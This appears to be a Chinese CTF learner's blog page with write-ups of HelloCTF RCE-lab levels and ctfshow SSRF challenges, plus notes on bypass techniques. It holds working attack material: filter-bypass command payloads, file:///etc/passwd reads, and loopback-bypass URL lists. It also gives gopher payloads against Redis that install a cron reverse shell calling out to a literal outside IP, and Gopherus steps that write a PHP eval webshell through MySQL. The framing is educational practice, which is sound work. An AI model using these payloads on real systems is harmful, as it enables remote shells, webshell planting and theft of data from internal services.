# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 ---

在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。


*/

function hello_shell($cmd){
if(preg_match("/flag| /", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>


可用${IFS}$IFS%09

RCE-labs-level8 错误重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 重定向 ---

大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 —— 这些是命令有回显的基础。

如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null

/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1

*/

function hello_shell($cmd){
/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
system($cmd.">/dev/null 2>&1");
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

用 ;来分隔重定向, /?cmd=cat /flag;

这里贴一下wp中的总结:

在Linux中文件描述符(File Descriptor)是用于标识和访问打开文件或输入/输出设备的整数值,每个打开的文件或设备都会被分配一个唯一的文件描述符,Linux 中的文件描述符使用非负整数值来表示其中特定的文件描述符有以下含义

  • 标准输入(stdin):文件描述符为0,通常关联着终端键盘输入
  • 标准输出(stdout):文件描述符为1,通常关联着终端屏幕输出
  • 标准错误(stderr):文件描述符为2,通常关联着终端屏幕输出

平时我们使用的”<”和”>”其实就相当于是使用”0<”和”1>”,下面是几种常见的使用示例:

符号 示例 解释
> echo "Hello" > file.txt echo 的输出重定向到 file.txt 文件
< wc -l < file.txt file.txt 作为 wc 命令的输入
>> echo "World" >> file.txt echo 的输出以追加方式重定向到 file.txt
<< cat << EOF 将输入的文本作为 cat 命令的输入,直到遇到 EOF 结束
<> cat <> file.txt 以读写模式打开 file.txt 并将其内容作为输入
`> ` `echo “Override” >
: > : > file.txt file.txt 截断为0长度,或创建空文件
>&n ls >&2 ls 的标准输出和错误输出重定向到文件描述符 n (如 2 为标准错误输出)
m>&n exec 3>&1 将文件描述符 3 重定向到描述符 1,即输出重定向到标准输出
>&- exec >&- 关闭标准输出
<&n exec <&0 输入来自文件描述符 0 (标准输入)
m<&n exec 3<&0 将文件描述符 3 重定向到描述符 0 (标准输入)
<&- exec <&- 关闭标准输入文件描述符
<&n- exec <&0- 重定向并关闭文件描述符 n (标准输入)
>&n- exec >&1- 重定向并关闭文件描述符 n (标准输出)

RCE-labs-level9 无字母 (八进制)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

从该关卡开始你会发现我们在Dockerfile中添加了一行改动:

RUN ln -sf /bin/bash /bin/sh

这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox

我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。

在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。

bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found

bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php

*/

function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

payload/?cmd=$'\143\141\164' $'\57\146\154\141\147'

RCE-labs-level10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。

*/

function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

只有01可用。

RCE-labs-level11

RCE-labs-level12

RCE-labs-level13

RCE-labs-level14

参考文章:
CTF中常见RCE命令执行绕过技巧 - LinkPoc - 博客园

CTF中的RCE - FreeBuf网络安全行业门户

SSRF(Server-Side Request Forgery)概述

[TOC]

SSRF(Server-Side Request Forgery:服务器端请求伪造),字面意思来理解就是:攻击者通过一些手段来达到伪装了一个由服务端对服务器所在内网发起的恶意请求。

也因此,一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

形成原理及危害

大多是因为服务端提供了可以从其他服务器获取数据的功能,但没有加以过滤和限制,导致了攻击者可以轻易的任意读取文件,进行内网渗透,对内网Web应用进行攻击等恶意操作。

攻击者可以利用 SSRF 实现的攻击主要有 5 种:

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  2. 攻击运行在内网或本地的应用程序(比如溢出)
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
  5. 利用 file 协议读取本地文件等

利用方式

PHP中一些关键函数

file_get_contents() // 将整个文件读入一个字符串

file_get_contents(path,include_path,context,start,max_length)

参数 说明
$filename 文件路径或 URL(启用 allow_url_fopen 时)
$use_include_path 是否在 include_path 中查找文件
$context stream_context 上下文,适用于 HTTP 配置、超时等
$offset 从文件的第几字节开始读取
$length 最多读取多少字节内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
curl_exec() // 

mixed curl_exec ( resource $ch )

//示例用法
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "https://example.com");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

if ($response === false) {
echo "错误:" . curl_error($ch);
} else {
echo "响应:" . $response;
}

curl_close($ch);

参数 类型 说明
$ch resource 使用 curl_init() 初始化后的 cURL 会话句柄
1
2
3
4
5
6
7
8
9
10
11
fsockopen() // 打开 Internet 或者 Unix 套接字 链接

resource|false fsockopen(
string $hostname,
int $port,
int &$error_code = null,
string &$error_message = null,
float $timeout = ini_get("default_socket_timeout")
)
例:$fp = fsockopen("www.example.com", 80, $errno, $errstr, 5);

参数 类型 说明
$hostname string 主机名或 IP 地址。支持协议前缀如 ssl://tls://
$port int 端口号
$error_code int 引用 若连接失败,此变量将存储错误代码
$error_message string 引用 若连接失败,此变量将存储错误信息
$timeout float 连接超时时间,单位为秒

伪协议

file://(访问本地文件)

1
file:///etc/password  # file:// 之后可以接任意文件

dict://(查询字典服务)

dict://ip/info可获取本地redis服务配置信息。

可以用来测试和写入webshell。

ftp://(访问远程文件资源)

data://(嵌入数据)

例如直接嵌套一个Base64加密的照片:

1
<img src="data:image/png;base64,0KGgoAAAAFGUIknuNSUhEUg...YGGjnm=">

gopher://

常用于反弹shell

Parse_url函数

这里单独提一下Parse_url这个函数,用于拆分url的各个部分为一个类似字典的东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果----------------------------------------------------------------------------------------------------
Array
(
[scheme] => http
[host] => hostname //@后
[user] => username //@前
[pass] => password //@前
[path] => /path /
[query] => arg=value ?以后的key=value
[fragment] => anchor #以后的部分
)
/path

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$url = 'http://ctf.@127.0.0.1/flag.php?show';
$x = parse_url($url);
var_dump($x);
?>

//运行结果:
array(5) {
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "127.0.0.1"
["user"]=>
string(4) "ctf."
["path"]=>
string(9) "/flag.php"
["query"]=>
string(4) "show"
}

常用Payload

以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能,常见的Payload如下:

1
2
3
4
5
6
7
curl -vvv 'dict://127.0.0.1:6379/info'

curl -vvv 'file:///etc/passwd'

# * 注意: 链接使用单引号,避免$变量问题

curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
1
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0

经过url解码便是:

1
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit

题目回顾

回顾一下MoeCTF2024中的两道SSRF题目吧:

ImageCloud前置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$url = $_GET['url'];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$res = curl_exec($ch);

$image_info = getimagesizefromstring($res);
$mime_type = $image_info['mime'];

header('Content-Type: ' . $mime_type);

curl_close($ch);

echo $res;
?>

当时并不能看懂,现在就能有些认知了。看到curl_execcurl_init之类很明显的SSRF特征。

题目提示flag在/etc/passwd里,于是我们直接利用file伪协议读取flag文件即可:
payload: file:///etc/passwd

ImageCloud

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename

app = Flask(__name__)

UPLOAD_FOLDER = 'static/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
return '''
<h1>图片上传</h1>
<form method="post" enctype="multipart/form-data" action="/upload">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
<h2>已上传的图片</h2>
<ul>
''' + ''.join(
f'<li><a href="/image?url=http://localhost:5000/static/{filename}">{filename}</a></li>'
for filename in uploaded_files
) + '''
</ul>
'''

@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return '未找到文件部分', 400
file = request.files['file']

if file.filename == '':
return '未选择文件', 400
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
ext = filename.rsplit('.', 1)[1].lower()

unique_filename = f"{len(uploaded_files)}_{filename}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

file.save(filepath)
uploaded_files.append(unique_filename)

return redirect(url_for('index'))
else:
return '文件类型不支持', 400

@app.route('/image', methods=['GET'])
def load_image():
url = request.args.get('url')
if not url:
return 'URL 参数缺失', 400

try:
response = requests.get(url)
response.raise_for_status()
img = Image.open(BytesIO(response.content))

img_io = BytesIO()
img.save(img_io, img.format)
img_io.seek(0)
return send_file(img_io, mimetype=img.get_format_mimetype())
except Exception as e:
return f"无法加载图片: {str(e)}", 400

if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.run(host='0.0.0.0', port=5000)

app2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename
import socket
import random

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def get_mimetype(file_path):
mime = mimetypes.guess_type(file_path)[0]
if mime is None:
try:
with Image.open(file_path) as img:
mime = img.get_format_mimetype()
except Exception:
mime = 'application/octet-stream'
return mime

def find_free_port_in_range(start_port, end_port):
while True:
port = random.randint(start_port, end_port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', port))
s.close()
return port

@app.route('/')
def index():
return '''
<h1>图片上传</h1>
<form method="post" enctype="multipart/form-data" action="/upload">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
<h2>已上传的图片</h2>
<ul>
''' + ''.join(f'<li><a href="/image/{filename}">{filename}</a></li>' for filename in uploaded_files) + '''
</ul>
'''

@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return '未找到文件部分', 400
file = request.files['file']

if file.filename == '':
return '未选择文件', 400
if file and allowed_file(file.filename):

filename = secure_filename(file.filename)
ext = filename.rsplit('.', 1)[1].lower()

unique_filename = f"{len(uploaded_files)}_{filename}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

file.save(filepath)
uploaded_files.append(unique_filename)

return redirect(url_for('index'))
else:
return '文件类型不支持', 400

@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if os.path.exists(filepath):
mime = get_mimetype(filepath)
return send_file(filepath, mimetype=mime)
else:
return '文件未找到', 404

if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
port = find_free_port_in_range(5001, 6000)
app.run(host='0.0.0.0', port=port)

附件可知,flag一图片形式被存储在内网的uploads文件夹下面,并通过image目录访问,外部服务开放指定端口5000,内部服务则开放在5001-6000的随机端口,

这里画了张图用来理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
+---------------------------+
| 你访问的网站 |
| http://...:5000 |
+------------+-------------+
|
v 你传入 SSRF URL
/image?url=http://localhost:PORT/image/flag.jpg
|
v
+------------+-------------+
| 外部 Flask 服务 (5000端口)|
+------------+-------------+
|
v 发起请求
http://localhost:PORT/image/flag.jpg
|
v
+---------------------------+
| 内部 Flask 服务(随机端口)|
| 可能在 5001~6000 之间 |
| 提供 /image/flag.jpg 接口 |
+---------------------------+

因此需要抓包爆破,

image-20250416011910810

成功爆出图片,截图OCR并修改即可。

CTFshow刷题

web352

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

相比于上题,waf了本地回环地址,尝试用其他进制的IP绕过即可。

但实际上,这里源码是写错了,没有传参匹配导致恒为真,所以没有任何限制。

image-20250416002956517

web353

正则如下:

1
/localhost|127\.0\.|\。/i

多过滤了还是用上题的思路即可。

这题有多种绕过思路,网上都总结了很多,这里随便贴一份相对全的:

1
2
3
4
5
6
7
8
9
10
进制绕过 		url=http://0x7F000001/flag.php
0.0.0.0绕过 url=http://0.0.0.0/flag.php
特殊的地址0url=http://0/flag.php

//第一个 0 在linux系统中一般会解析成127.0.0.1 ,在windows 和 macos 中一般解析成0.0.0.0

还有 url=http://127.1/flag.php //可省略0
还有 url=http://127.0000000000000.001/flag.php
特殊字符 url=http://①②⑦.⓪.⓪.①/flag.php
用中文句号绕过 url=http://127。0。0。1/

web354 公共解析域名绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

过滤了0和1就有些难搞了,不过这里可以去网上搜索一些公共的能够域名解析到127.0.0.1的url。

image-20250416080803299

1
2
3
4
5
6
7
http://safe.taobao.com/
http://114.taobao.com/
http://wifi.aliyun.com/
http://imis.qq.com/
http://localhost.sec.qq.com/
http://ecd.tencent.com/
http://sudo.cc/

直接用就好了。

更多的可以通过域名解析结果反向查找:127.0.0.1上的网站 127.0.0.1同iP域名查询 127.0.0.1域名反查

web355 长度限制1

1
if ((strlen($host) <= 5))

增加了长度限制,用url=http://0/flag.phpurl=http://127.1/flag.php都可以。

web356 长度限制2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

url=http://0/flag.php仍然可用。

web357 内网IP过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>

经过了一些过滤,我们去查查这些都是什么:

filter_var() 函数

image-20250416083848457

相关过滤器

FILTER_VALIDATE_IP 把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围。

image-20250416084453141

所以可知,要求ip不在 RFC 指定的私有范围IP内(比如 192.168.0.1),也不在保留的IP范围内。

类型 范围 为什么被限制?
私有地址 10., 172.16-31., 192.168. 内网地址,不能让用户探测
保留地址 127., 169.254., 224., 240., 255. 有特殊含义/不允许外部通信

以下两种方法实操可见最下方的bypass总结中。

method1 公网挂马

Quicker_20250416_091903

method2 DNS重绑定

常用工具rbndr.us dns rebinding service

构造恰当的URL,例如用google,baidu这些官网的dns解析ip来进行交替(ping 可以查看),可以看到DNS解析在不断变换:

image-20250416102926004

没成功的话,多刷新几次。

image-20250416105222070

web358 @绕过

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

需要匹配正则表达,满足http://ctf.开头,show结尾,而且能解析。

构造如下:

http://ctf.@127.0.0.1/flag.php?show

利用参数查询?,或者锚点#绕过show

在Parse_url函数中我们提到过,该函数会把@前后分段开,分为:

1
2
3
[host] => hostname			//@后
[user] => username //@前
[pass] => password //@前

于是它实际解析的仍然是指向127.0.0.1的。

image-20250416112945370

web359 Gopher打无密码的mysql

进来一个登录框,抓包发现有一个returl参数,

需要下载一个生成gopher协议的payload工具:https://github.com/tarunkant/Gopherus

usage:python2 gopherus.py --exploit mysql

用户为root,query为 select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/shell.php';

并且将生成的payload再次进行url编码,因为解析时会解密一层。

替换到returl参数的值后发包,然后蚁剑连接即可。

image-20250416193201139

web360 Gopher协议打redis

hint:打redis

同上题一样,换个payload,usage:python2 gopherus.py --exploit redis

操作一样,最后

image-20250416194828764

刷题之后的bypass总结

字符绕过

1
2
3
4
5
6
7
8
9
10
进制绕过 		url=http://0x7F000001/flag.php
0.0.0.0绕过 url=http://0.0.0.0/flag.php
特殊的地址0url=http://0/flag.php

//第一个 0 在linux系统中一般会解析成127.0.0.1 ,在windows 和 macos 中一般解析成0.0.0.0

还有 url=http://127.1/flag.php //可省略0
还有 url=http://127.0000000000000.001/flag.php
特殊字符 url=http://①②⑦.⓪.⓪.①/flag.php
用中文句号绕过 url=http://127。0。0。1/

公网挂马

打重定向

1
2
3
<?php 
header("Location: http://127.0.0.1/flag.php");
?>

这段 PHP 脚本的作用是:

  • 当某个目标服务器访问你的公网服务时,比如:

    1
    http://your-public-ip:port/malicious.php
  • 它会返回一个 HTTP 重定向:

    1
    2
    HTTP/1.1 302 Found
    Location: http://127.0.0.1/flag.php
  • 于是,如果目标服务器自动跟随重定向,它会**转头请求自己的 127.0.0.1/flag.php**。

DNS重绑定

参考:01.DNS重绑定 · d4m1ts 知识库

常用工具rbndr.us dns rebinding service

指攻击者通过DNS服务器将域名解析到恶意IP地址,然后再将其解析到合法IP地址,从而绕过后端的安全检查。其本质就是欺骗客户端请求的IP地址。

看网上的文章感觉不是很形象,但GPT的讲解很通透,我在这里贴一下:

💡 实战场景举个例子

设想有一个网站:

1
GET /fetch?url=http://example.com

它会请求你传的 url,但有如下限制:

  • ❌ 禁止 IP 是 127.0.0.1
  • ✅ 允许你填入域名,例如 evil.rbndr.us

你设置 evil.rbndr.us 这个域名:

  • 第一次解析:指向你的服务器(公网 IP)
  • **第二次解析:变成 127.0.0.1169.254.169.254**!

于是 SSRF 访问你的域名 → 其实打到了 目标的内网服务

🧠 详细过程

  1. SSRF 发请求:http://evil.rbndr.us
  2. DNS 解析 evil.rbndr.us,第一次解析结果是你的公网 IP
  3. 目标服务请求了你服务器(你控制)
  4. 你服务器什么也不返回,挂着不处理
  5. 等 DNS 缓存过期后(几秒)
  6. 再次解析 evil.rbndr.us变成 127.0.0.1
  7. SSRF 继续跟随请求:访问 http://127.0.0.1

💥 成功 SSRF 打到了内网!

Gopherus使用

  1. 安装

    1
    git clone https://github.com/tarunkant/Gopherus.git
  2. payload支持:

    • MySQL 有效负载
    • FastCGI 有效负载
    • Memcached 有效负载
    • Redis 有效负载
    • Zabbix 有效载荷
    • SMTP 有效负载
  3. 以无密码mysql为例:

    usage:python2 gopherus.py --exploit mysql

    用户为root,query为 select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/shell.php';

关于Gopher协议为什么后面要有一个_?

这里贴一下CTFSHOW-SSRF篇 - LinkPoc - 博客园这篇博客中的一张图片:
img

参考文章:

SSRF漏洞原理攻击与防御(超详细总结)-CSDN博客

从0到1完全掌握 SSRF - FreeBuf网络安全行业门户

CSRF 与SSRF基础 及ctfshow 练习 - 折翼的小鸟先生 - 博客园

SSRF | Nanian233🍊’s Blog

SSRF漏洞深入利用与防御方案绕过技巧_ssrf绕过-CSDN博客